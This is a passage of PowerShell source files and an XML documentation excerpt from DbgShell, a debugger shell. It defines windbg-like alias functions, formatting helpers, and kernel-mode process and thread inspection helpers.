{ if( $Address -ne 0 ) { $Address.DbgGetPointee() } } else { # Note that other objects deriving from DbgPointerValueBase will come in # here. They are implicitliy convertable to UInt64, so the # [AddressTransformation()] attribute will work fine on them. _PoiForAddress $Address } } finally { } } # end 'process' block } # end spoi Set-Alias al Get-DbgAlias function as { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $Name, [Parameter( Mandatory = $true, Position = 1, ValueFromRemainingArguments = $true )] [AllowNull()] [AllowEmptyString()] [string] $EquivalentPhrase # There are other parameter sets that we could implement (like "as /e", "as # /ma", "as /f", etc. But I don't think those are very important... since you # have PowerShell to do fancy stuff, you shouldn't need all that jazz. ) process { try { Set-DbgAlias -Name $Name -Value $EquivalentPhrase } finally { } } } Set-Alias ad Remove-DbgAlias Set-Alias .frame Set-DbgStackFrame <# .SYNOPSIS Like the windbg ".f+" function: sets the context to the next stack frame. #> function .f+ { [CmdletBinding()] param() process { try { .frame -Increment } finally { } } } <# .SYNOPSIS Like the windbg ".f-" function: sets the context to the previous stack frame. .DESCRIPTION Note that there is a ".f-" alias; this function is named ".f_minus" to avoid a warning about an unapproved verb, thanks to the "-". #> function .f_minus { [CmdletBinding()] param() process { try { .frame -Decrement } finally { } } } Set-Alias .f- .f_minus <# .Synopsis Converts hex addresses into numbers, so you can do math on them. #> function ConvertTo-Number { [CmdletBinding()] [OutputType( [System.UInt64] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Numberish ) process { try { # Nothing to do; all the work was done by the AddressTransformation attribute. return $Numberish } finally { } } } # end ConvertTo-Number Set-Alias n ConvertTo-Number # TODO: muscle memory requests that I implement something that allows me to type ".reload /f" instead of ".reload -f". Set-Alias .reload Initialize-DbgSymbols Set-Alias .load Add-DbgExtension Set-Alias .unload Remove-DbgExtension <# .Synopsis Like the windbg ".loadby" function: load an extension DLL from the same directory as a loaded module. #> function .loadby { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $ExtensionName, [Parameter( Mandatory = $true, Position = 1 )] [string] $ByLoadedDll ) process { try { $m = Get-DbgModuleInfo $ByLoadedDll -ErrorAction Stop if( $null -eq $m ) { throw "No such module: $ByLoadedDll" } $path = [System.IO.Path]::GetDirectoryName( $m.ImageName ) $path = [System.IO.Path]::Combine( $path, $ExtensionName ) .load $path } finally { } } } # end .loadby <# .Synopsis Like the windbg ".effmach" function: view or change the current effective processor type. #> function .effmach { [CmdletBinding()] [OutputType( [Microsoft.Diagnostics.Runtime.Interop.IMAGE_FILE_MACHINE] )] param( [Parameter( Mandatory = $false, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $Platform ) process { try { if( $Platform ) { Set-DbgEffectiveProcessorType $Platform } else { Get-DbgEffectiveProcessorType } } finally { } } } # end .effmach <# .Synopsis Like the windbg ".lastevent" function: displays the most recent exception or event that occurred #> function .lastevent { [CmdletBinding()] [OutputType( [MS.Dbg.DbgLastEventInfo] )] param() process { try { $debugger.GetLastEventInfo() } finally { } } } # end .lastevent <# .SYNOPSIS Finds a thread matching the specified criteria. #> function Find-DbgThread { [CmdletBinding( DefaultParameterSetName = 'WithStackTextParamSet' )] [OutputType( [MS.Dbg.DbgUModeThreadInfo] )] param( [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'WithStackTextParamSet' )] [ValidateNotNullOrEmpty()] [string] $WithStackText ) process { try { if( $PSCmdlet.ParameterSetName -eq 'WithStackTextParamSet' ) { Get-DbgUModeThreadInfo | %{ $thread = $_ foreach( $frame in $thread.Stack.Frames ) { if( $frame.ToString().IndexOf( $WithStackText, [StringComparison]::OrdinalIgnoreCase ) -ge 0 ) { Write-Output $thread break; } } # end foreach( $frame ) } # end per-thread block } # end if( WithStackTextParamSet ) else { throw "what?" } } finally { } } } # end Find-DbgThread <# .SYNOPSIS Inserts a 'TypeName' into an object's TypeNames list at the location just before the specified TypeName. Note that the TypeName can be anything (it doesn't have to be the name of any actual "type"). This is useful for symbol value converter scripts who want to let others know that they were applied to a particular symbol value. For instance, you could use the TypeName applied by a converter script to apply a custom view definition to only objects that had that converter applied. #> function InsertTypeNameBefore { [CmdletBinding()] param( [Parameter( Position = 0, Mandatory = $true, ValueFromPipeline = $true )] [ValidateNotNull()] [object] $InputObject, [Parameter( Position = 1, Mandatory = $true )] [ValidateNotNullOrEmpty()] [string] $NewTypeName, [Parameter( Position = 2, Mandatory = $true )] [ValidateNotNullOrEmpty()] [string] $Before ) begin { } end { } process { try { for( [int] $i = 0; $i -lt $InputObject.PSObject.TypeNames.Count; $i++ ) { if( $InputObject.PSObject.TypeNames[ $i ] -eq $Before ) { $InputObject.PSObject.TypeNames.Insert( $i, $NewTypeName ) return } } # I don't know if this is actually the behavior I want. But it seems safe to # start with. Write-Error "Did not find existing TypeName '$Before'." } finally { } } # end 'process' block } # end InsertTypeNameBefore <# .SYNOPSIS Similar to !teb in windbg, but returns a TEB object instead of just printing it out. It's an alternative to "(~.).Teb". #> function !teb { [CmdletBinding()] param() begin { } end { } process { try { $currentThread = Get-DbgUModeThreadInfo -Current if( $currentThread ) { return $currentThread.Teb } } finally { } } # end 'process' block } # end function !teb <# .SYNOPSIS Opens the current dump in windbg. TBD: support for live targets, remotes #> function Open-InWindbg { [CmdletBinding()] param() begin { } end { } process { try { $windbgDir = Find-WindbgDir if( !$windbgDir ) { Write-Error "Could not find windbg." return } [string] $dump = $null if( $CurrentDumpArchiveFile ) { $dump = $CurrentDumpArchiveFile } elseif( $CurrentDumpFile ) { $dump = $CurrentDumpFile } if( !$dump ) { Write-Error "Not attached to a dump file? (live targets and remotes are TBD)" return } & (Join-Path $windbgDir 'windbg.exe') -z $dump } finally { } } # end 'process' block } # end function Open-InWindbg function Resolve-Error { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true )] [System.Management.Automation.ErrorRecord] $ErrorRecord ) process { try { if( !$ErrorRecord ) { if( 0 -eq $global:Error.Count ) { return } $thing = $global:Error[ 0 ] # # $thing might not be an ErrorRecord... # if( $thing -is [System.Management.Automation.ErrorRecord] ) { $ErrorRecord = $thing } elseif( $thing -is [System.Management.Automation.IContainsErrorRecord] ) { "(Error is an $($thing.GetType().FullName), but contains an ErrorRecord)" $ErrorRecord = $thing.ErrorRecord } else { Write-Warning "The thing I got from `$global:Error is not an ErrorRecord..." Write-Warning "(it's a $($thing.GetType().FullName))" $thing | Format-List * -Force return } } # It's convenient to store the error we looked at in the global variable $e. # But we don't "own" that... so we'll only set it if it hasn't already been # set (unless it's been set by us). $e_var = Get-Variable 'e' -ErrorAction Ignore if( ($null -eq $e_var) -or (($e_var.Value -ne $null) -and (0 -ne $e_var.Value.PSObject.Properties.Match( 'AddedByResolveError').Count))) { $global:e = $ErrorRecord Add-Member -InputObject $global:e ` -MemberType 'NoteProperty' ` -Name 'AddedByResolveError' ` -Value $true ` -Force # overwrite if we're re-doing one } $ErrorRecord | Format-List * -Force $ErrorRecord.InvocationInfo | Format-List * $Exception = $ErrorRecord.Exception for( $i = 0; $Exception; $i++, ($Exception = $Exception.InnerException) ) { "$i" * 80 "ExceptionType : $($Exception.GetType().FullName)" $Exception | Format-List * -Force } } finally { } } } Set-Alias rver Resolve-Error <# .SYNOPSIS Gets version information about the currently-running instance of DbgShell. #> function Get-DbgShellVersionInfo { [CmdletBinding()] param() begin { } end { } process { try { $p = Get-Process -id $pid "Host process is: $($p.MainModule.ModuleName)" "($($p.MainModule.FileName))" '' "64-bit process? $([System.Environment]::Is64BitProcess)" "64-bit OS? $([System.Environment]::Is64BitOperatingSystem)" $versionInfoProps = @( 'FileName' 'FileDescription' 'ProductVersion' 'FileVersion' 'IsDebug' 'IsPatched' 'IsPreRelease' 'IsPrivateBuild' 'IsSpecialBuild' 'PrivateBuild' ) $files = @( 'bin:\DbgShell.exe' 'bin:\Debugger\DbgProvider.dll' 'bin:\Debugger\Microsoft.Diagnostics.Runtime.dll' ) foreach( $file in $files ) { (dir $file).VersionInfo | Select $versionInfoProps } # Not all of these modules will be present. That's fine. $p.Modules | where { ($_.ModuleName -eq 'DbgShellExt.dll') -or ($_.ModuleName -eq 'dbgeng.dll') -or ($_.ModuleName -eq 'dbghelp.dll') -or ($_.ModuleName -eq 'dbgcore.dll') -or ($_.ModuleName -eq 'dbgmodel.dll') -or ($_.ModuleName -eq 'windbg.exe') -or ($_.ModuleName -eq 'ntsd.exe') -or ($_.ModuleName -eq 'cdb.exe') -or ($_.ModuleName -eq 'kd.exe') -or ($_.ModuleName -like 'mscordac*') -or ($_.ModuleName -eq 'System.Management.Automation.ni.dll') -or ($_.ModuleName -eq 'System.Management.Automation.dll') } | ForEach-Object { $_.FileVersionInfo | Select $versionInfoProps } 'PSVersionTable:' $PSVersionTable "Current log file is: $(Get-DbgShellLog -Current)" 'Use Open-DbgShellLog to view it.' } finally { } } } # end Get-DbgShellVersionInfo # Trivia: 'exit' is a keyword, not a command, so using an alias (q --> exit) doesn't work. function q { exit } function :q { exit } # for entrenched vim users function testall() { # Q: Why not just use the module names? (We've properly configured the PSModulePath) # # A: In case we are run from a UNC path (PS does not like having a UNC path in the # PSModulePath). # # That's also why we pre-load Pester, because the prereq specified in # DbgShellTest.psd1 might not work if we leave it to PS to fulfill it. Import-Module -Global "filesystem::$PSScriptRoot\..\DbgShellTest\Pester\Pester.psd1" Import-Module -Global "filesystem::$PSScriptRoot\..\DbgShellTest\DbgShellTest.psd1" Invoke-Pester Tests:\*.ps1 } $private:defaultPrompt1 = '"PS $($executionContext.SessionState.Path.CurrentLocation)$(''>'' * ($nestedPromptLevel + 1)) "' ` + "`n" ` + '# .Link' ` + "`n" ` + '# http://go.microsoft.com/fwlink/?LinkID=225750' ` + "`n" ` + '# .ExternalHelp System.Management.Automation.dll-help.xml' ` + "`n" $private:defaultPrompt2 = "`n" ` + '"PS $($executionContext.SessionState.Path.CurrentLocation)$(''>'' * ($nestedPromptLevel + 1)) ";' ` + "`n" ` + '# .Link' ` + "`n" ` + '# http://go.microsoft.com/fwlink/?LinkID=225750' ` + "`n" ` + '# .ExternalHelp System.Management.Automation.dll-help.xml' ` + "`n" # What's different in defaultPrompt3? "http" --> "https" $private:defaultPrompt3 = "`n" ` + '"PS $($executionContext.SessionState.Path.CurrentLocation)$(''>'' * ($nestedPromptLevel + 1)) ";' ` + "`n" ` + '# .Link' ` + "`n" ` + '# https://go.microsoft.com/fwlink/?LinkID=225750' ` + "`n" ` + '# .ExternalHelp System.Management.Automation.dll-help.xml' ` + "`n" # We'll install a different prompt function, but only if the user has not already # customized it. # # IDEA: Instead of remembering the exact text of each default prompt, maybe keep hashes of # somewhat-sanitized versions? (such as trimming whitespace, replacing 'https' with # 'http', etc.) $private:currPrompt = (gcm prompt).Definition.Replace( "`r", "" ) if( ($currPrompt -eq $defaultPrompt3) -or ($currPrompt -eq $defaultPrompt2) -or ($currPrompt -eq $defaultPrompt1) ) { function prompt { $sb = New-Object 'System.Text.StringBuilder' -Arg @( 120 ) if( test-path variable:/PSDebugContext ) { $null = $sb.Append( '[DBG]: ' ) } $null = $sb.Append( 'PS ' ) $null = $sb.AppendLine( $executionContext.SessionState.Path.CurrentLocation ) if( $nestedpromptlevel -ge 1 ) { $null = $sb.Append( (New-Object 'System.String' -Arg @( ([char] '>'), $nestedpromptlevel )) ) } $null = $sb.Append( '> ' ) return $sb.ToString() } } # else user has custom prompt already . $PSScriptRoot\OtherUtils.ps1 . $PSScriptRoot\KernelMode.ps1 # # These commands must come last. # Export-ModuleMember -Alias '*' Export-ModuleMember -Function '*' ================================================ FILE: DbgShell/x64/Debugger/FmtUtils.ps1 ================================================ # # The following functions are common code shared by multiple format # definitions (in .psfmt files). # $script:ValueNotAvailable = (New-ColorString -Foreground Yellow -Content '').MakeReadOnly() function script:FindFirstNonWhitespace( [string] $line ) { $line = $line.TrimEnd() #[console]::WriteLine( "checking ({0}): $line", $line.Length ) if( 0 -eq $line.Length ) { return -1 } else { for( [int] $idx = 0; $idx -lt $line.Length; $idx++ ) { if( ![Char]::IsWhiteSpace( $line, $idx ) ) { return $idx } } # TODO: assert( false ): we trimmed the string so if there were no # non-whitespace characters we shouldn't be able to get here. } } # end function FindFirstNonWhitespace # Removes leading empty lines and common leading whitespace from each line. function script:UnindentLines( [string[]] $lines ) { [int] $commonLeadingWhitespace = [Int32]::MaxValue for( [int] $i = 0; $i -lt $lines.Length; $i++ ) { [string] $line = $lines[ $i ].TrimEnd() $lines[ $i ] = $line [int] $leadingWhitespace = FindFirstNonWhitespace $line if( -1 -ne $leadingWhitespace ) { #[console]::WriteLine( '$leadingWhitespace is {0}', $leadingWhitespace ) $commonLeadingWhitespace = [Math]::Min( $commonLeadingWhitespace, $leadingWhitespace ) } } [bool] $foundNonEmptyLine = $false [System.Text.StringBuilder] $sb = New-Object 'System.Text.StringBuilder' -Arg @( $singleString.Length ) foreach( $line in $lines ) { if( 0 -eq $line.Length ) { if( $foundNonEmptyLine ) { # We'll preserve internal empty lines, but not leading ones. [void] $sb.AppendLine() } } else { #[console]::WriteLine( "Trimming $commonLeadingWhitespace off the front of: $line" ) $foundNonEmptyLine = $true [void] $sb.AppendLine( $line.Substring( $commonLeadingWhitespace ).TrimEnd() ) } } return $sb.ToString() } # end function UnindentLines function script:RenderScript( [ScriptBlock] $script ) { [string] $singleString = $script.ToString() [string[]] $lines = $singleString.Split( "`n" ) UnindentLines $lines } # end function RenderScript function script:HighlightTypeName( $obj ) { if( $null -eq $obj ) { return } [Type] $type = $obj.GetType(); $fullTypeName = $type.FullName [int] $idx = $fullTypeName.LastIndexOf( '.' ); [string] $ns = '' if( $idx -gt 0 ) { $ns = $fullTypeName.Substring( 0, $idx + 1 ) } (New-ColorString -Content $ns).AppendPushFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkMagenta ).Append( $type.Name ).AppendPop() } # end function HighlightTypeName function script:Get-TypeName( $sym ) { try { if( $null -eq $sym.get_Type() ) { New-ColorString -Foreground Yellow -Content "" } else { if( $sym.Type -is [MS.Dbg.DbgNamedTypeInfo] ) { $sym.Type.get_ColorName(); } else { Format-DbgTypeName $sym.Type.get_Name() } } } finally { } } # end function Get-TypeName # TODO: maybe replace with Format-AltSingleLine that takes -Label, -Width, etc. function script:Pad( [MS.Dbg.ColorString] $cs, [int] $minLength ) { if( $cs.Length -lt $minLength ) { if( $cs.IsReadOnly ) { $cs = (New-ColorString).Append( $cs ) } $cs = $cs.Append( (New-Object 'System.String' -Arg @( ' ', ($minLength - $cs.Length) )) ) } return $cs } function script:PadLeft( [MS.Dbg.ColorString] $cs, [int] $minLength ) { if( $cs.Length -lt $minLength ) { $cs2 = New-ColorString -Content (New-Object 'System.String' -Arg @( ' ', ($minLength - $cs.Length) )) $cs2 = $cs2.Append( $cs ) $cs = $cs2 } return $cs } # TODO: This is not ColorString-aware... function script:Truncate( [string] $s, [int] $maxLength, [bool] $pad = $false ) { try { if( $maxLength -le 3 ) { throw "Out of range: `$maxLength must be more than 3." } [int] $diff = $maxLength - $s.Length if( $diff -ge 0 ) { if( $pad -and ($diff -gt 0) ) { $s = $s + (New-Object 'System.String' -Arg @( ([char] ' '), $diff )) } return $s } return $s.Substring( 0, $maxLength - 3 ) + "..." } finally {} } # end Truncate() function script:Test-SymValueAvailable( $symVal, [string] $typeName ) { $sym = $symVal.DbgGetSymbol() if( $sym.get_IsValueUnavailable() ) { if( !$typeName ) { if( $null -ne $sym.get_Type() ) { $typeName = $sym.Type.get_Name() } } if( $typeName ) { return (Format-DbgTypeName $TypeName).Append( ': ' ).Append( $ValueNotAvailable ) } else { return $ValueNotAvailable } } return $null } #end Test-SymValueAvailable() function script:Summarize-SymValue( $symVal ) { $notAvailMsg = Test-SymValueAvailable $symVal if( $notAvailMsg ) { return $notAvailMsg } return (Format-AltSingleLine -InputObject $symVal) } # end Summarize-SymValue ================================================ FILE: DbgShell/x64/Debugger/GetPsContextFunc.ps1 ================================================ <# .SYNOPSIS Gets an object that represents a set of functions and variables, which can be used with ScriptBlock.InvokeWithContext. #> function Get-PsContext { [CmdletBinding()] param() begin { } process { } end { function private:_GetPsContextWorker { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [System.Management.Automation.PSModuleInfo] $private:ScopingMod ) begin { } process { } end { $private:sb = { try { $private:ctx = New-Object 'MS.Dbg.PsContext' $private:funcs = Get-ChildItem 'Function:\' foreach( $private:func in $funcs ) { # Filter out our own functions: if( ($func.Name -ne '_GetPsContextWorker') -and ($func.Name -ne 'Get-PsContext') ) { # Workaround for Windows Blue Bugs NNNNNN (TODO: file it) # # Private functions show up via "dir Function:\" and # Get-Command, even though you can't call them. # Fortunately, Test-Path tells the truth. if( (Test-Path "Function:\$($func.Name)") ) { $ctx.Funcs.Add( $func.Name, $func.ScriptBlock ) } } } # Using "Get-Variable -Scope 2" doesn't quite work; it seems to # get stuff /only/ in scope 2, and sometimes we need different # scopes (because nesting levels are different in Debugger.psfmt # versus Debugger.Converters.STL.ps1, for example). We can filter # out our own locals by making them private (like "$private:foo"). $private:vars = Get-Variable foreach( $private:var in $vars ) { if( $var.Name -ne 'PSCmdlet' ) { $ctx.Vars.Add( $var.Name, $var ) } } return $ctx } finally { } } # end $sb try { # You'd think we could just let the caller decide wether to call this # function (Get-PsContext) in the scope of $ScopingMod or not, but it # doesn't work out. We'll control how $ScopingMod is used here to try # to make sure it works how we want. (One problem is that sometimes # even "& $mod $stuff" doesn't execute $stuff in $mod's scope, because # $stuff comes from some other module and even "& $mod" can't "break # out" of that. if( $ScopingMod ) { & $ScopingMod $sb } else { & $sb } } finally { } } # end 'end' block } # end _GetPsContextWorker try { #[Console]::WriteLine( "Get-PsContext: current module context is: $($ExecutionContext.SessionState.Module)" ) $private:curCtx = _GetPsContextWorker $private:tmpMod = New-Module { } # module scopes always come under the global scope $private:globalCtx = _GetPsContextWorker $tmpMod $private:newCtx = $curCtx - $globalCtx return $newCtx } finally { } } # end 'end' block } # end Get-PsContext ================================================ FILE: DbgShell/x64/Debugger/KernelMode.ps1 ================================================ # # We can put functions in here that are specific to kernel-mode debugging. # <# .SYNOPSIS Throws if you are not attached to a kernel-mode target. #> function ThrowIfNotKernelMode { [CmdletBinding()] param() begin { } end { } process { try { if( !$Debugger.IsKernelMode ) { 'This command requires you be attached to a kernel-mode target.' } } finally { } } # end 'process' block } # end function ThrowIfNotKernelMode <# .SYNOPSIS #> function !process { [CmdletBinding()] param( # TODO [Parameter( Mandatory = $false )] [switch] $Current ) begin { ThrowIfNotKernelMode } end { } process { try { if( $Current ) { dt 'nt!_EPROCESS' $Debugger.GetImplicitProcessDataOffset() } else { $head = dt nt!PsActiveProcessHead -ErrorAction Stop Expand-LIST_ENTRY -Head $head ` -EntryType 'nt!_EPROCESS' ` -ListEntryMemberName 'ActiveProcessLinks' } } finally { } } # end 'process' block } # end function !process <# .SYNOPSIS #> function !tmpGetThreads { [CmdletBinding()] param( [Parameter( Mandatory = $false )] $Process = $null, [Parameter( Mandatory = $false )] [switch] $IncludeInactive ) begin { ThrowIfNotKernelMode } end { } process { try { if( !$Process ) { $Process = !process -Current } if( $IncludeInactive ) { Expand-LIST_ENTRY -Head $Process.ThreadListHead ` -EntryType (dt 'nt!_ETHREAD') ` -ListEntryMemberName 'ThreadListEntry' } else { Expand-LIST_ENTRY -Head $Process.Pcb.ThreadListHead ` -EntryType (dt 'nt!_ETHREAD') ` -ListEntryMemberName 'Tcb.ThreadListEntry' } } finally { } } # end 'process' block } # end function !process ================================================ FILE: DbgShell/x64/Debugger/Microsoft.Diagnostics.Runtime.xml ================================================ Microsoft.Diagnostics.Runtime Represents an AppDomain in the target runtime. Gets the runtime associated with this ClrAppDomain. Address of the AppDomain. The AppDomain's ID. The name of the AppDomain, as specified when the domain was created. Returns a list of modules loaded into this AppDomain. Returns the config file used for the AppDomain. This may be null if there was no config file loaded, or if the targeted runtime does not support enumerating that data. Returns the base directory for this AppDomain. This may return null if the targeted runtime does not support enumerating this information. To string override. The name of this AppDomain. Represents an object in the target process. Constructor. The address of the object The concrete type of the object. The address of the object. The type of the object. Returns if the object value is null. Returns whether this ClrObject points to a valid object or not. An object may be "invalid" during heap corruption, or if we simply encountered an error and could not determine its type. Gets the size of the object. Gets the given object reference field from this ClrObject. Throws ArgumentException if the given field does not exist in the object. Throws NullReferenceException if IsNull is true. The name of the field to retrieve. A ClrObject of the given field. Gets the given field in this object. The name of the field. The value of the field. Gets a boolean field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a signed byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a character field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an unsigned short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a int field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a uint field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a long field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a ulong field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a float field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a double field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a string field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an unsigned pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an object reference field from ClrObject. Any field which is a subclass of System.Object The name of the field to retrieve. Gets the given field in this object The name of the field. The value of the field. Gets a boolean field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a signed byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a character field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets an unsigned short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a int field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a uint field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a long field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a ulong field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a float field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a double field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a string field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets an unsigned pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a 